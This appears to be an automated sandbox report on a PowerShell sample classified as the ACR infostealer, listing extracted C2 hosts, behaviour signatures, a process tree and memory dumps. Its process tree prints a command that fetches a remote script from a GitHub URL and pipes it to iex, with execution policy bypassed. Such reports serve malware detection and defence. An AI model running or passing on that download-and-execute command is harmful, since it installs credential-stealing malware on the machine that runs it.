Analysis
- max time kernel
148s - max time network
118s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 12:09
General
- Target F1-7E.ps1
- Size 89KB
- Sample260910-pbg4vagg49
- SHA256 1a204e21e95c52b78285d19f544cdea606659f86ab82916210a6db4dec2bf37c
Malware Config
Extracted
-
acrstealer
-
4.3.10-alpha1
-
edge.apricotrun.cc
-
fastly.net
-
ddrs
https://telegra.ph/C-Introduction-08-21
-
guids
019fd84c-02e7-7a67-9097-4f73d632de4a
f1575b64-8492-4e8b-b102-4d26e8c70371
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
Signatures
- Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
- Badlisted process makes network request 7 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 44 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\F1-7E.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rasj4vck\rasj4vck.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB02C.tmp" "c:\Users\Admin\AppData\Local\Temp\rasj4vck\CSC7F480FB16FC84EB8A4A179EB26D9C3E.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aye1gzhy\aye1gzhy.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB126.tmp" "c:\Users\Admin\AppData\Local\Temp\aye1gzhy\CSC8ECC97816C0541A988C2E9EC47EF7718.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://raw.githubusercontent.com/unwanted-gif/6C-06-E4-1A-3E-0F/refs/heads/main/20-7A-9C | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe"3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RESB02C.tmp
RESB126.tmp
__PSScriptPolicyTest_kwa4nhfe.xyc.ps1
aye1gzhy.dll
rasj4vck.dll
CSC8ECC97816C0541A988C2E9EC47EF7718.TMP
aye1gzhy.0.cs
aye1gzhy.cmdline
CSC7F480FB16FC84EB8A4A179EB26D9C3E.TMP
rasj4vck.0.cs
rasj4vck.cmdline
memory/1264-52-0x000002133A880000-0x000002133A89C000-memory.dmp
memory/1264-50-0x000002133A840000-0x000002133A85E000-memory.dmp
memory/1264-15-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-16-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-17-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-18-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-13-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-12-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-11-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-10-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-31-0x000002133A590000-0x000002133A598000-memory.dmp
memory/1264-9-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-8-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-6-0x0000021322080000-0x00000213220A2000-memory.dmp
memory/1264-7-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-3-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-2-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-44-0x000002133A6F0000-0x000002133A6F8000-memory.dmp
memory/1264-47-0x000002133A730000-0x000002133A74E000-memory.dmp
memory/1264-48-0x000002133A750000-0x000002133A802000-memory.dmp
memory/1264-49-0x000002133A810000-0x000002133A81A000-memory.dmp
memory/1264-76-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-51-0x000002133A820000-0x000002133A82A000-memory.dmp
memory/1264-0-0x00007FFBCBD6F000-0x00007FFBCBD70000-memory.dmp
memory/1264-53-0x000002133A830000-0x000002133A838000-memory.dmp
memory/1264-54-0x000002133A860000-0x000002133A866000-memory.dmp
memory/1264-55-0x000002133A870000-0x000002133A87A000-memory.dmp
memory/1264-56-0x000002133B200000-0x000002133B22A000-memory.dmp
memory/1264-57-0x000002133B200000-0x000002133B224000-memory.dmp
memory/1264-14-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-72-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-125-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/1264-1-0x00007FFBCBBE0000-0x00007FFBCC584000-memory.dmp
memory/3796-131-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-135-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-127-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-176-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-122-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-115-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-84-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-78-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-177-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-79-0x00000000023D0000-0x0000000002493000-memory.dmp
memory/3796-77-0x0000000000620000-0x0000000000661000-memory.dmp
memory/4384-58-0x0000000005290000-0x00000000052C6000-memory.dmp
memory/4384-75-0x000000000BE80000-0x000000000C43A000-memory.dmp
memory/4384-73-0x00000000085C0000-0x0000000008656000-memory.dmp
memory/4384-74-0x0000000007E70000-0x0000000007E92000-memory.dmp
memory/4384-71-0x00000000086F0000-0x00000000088B2000-memory.dmp
memory/4384-70-0x0000000006CD0000-0x0000000006CEA000-memory.dmp
memory/4384-69-0x0000000007EA0000-0x000000000851C000-memory.dmp
memory/4384-67-0x00000000067A0000-0x00000000067EC000-memory.dmp
memory/4384-66-0x0000000006760000-0x000000000677E000-memory.dmp
memory/4384-65-0x0000000006270000-0x00000000065CB000-memory.dmp
memory/4384-61-0x00000000060B0000-0x0000000006116000-memory.dmp
memory/4384-62-0x0000000006120000-0x0000000006186000-memory.dmp
memory/4384-60-0x0000000005990000-0x00000000059B2000-memory.dmp
memory/4384-59-0x0000000005A60000-0x00000000060AA000-memory.dmp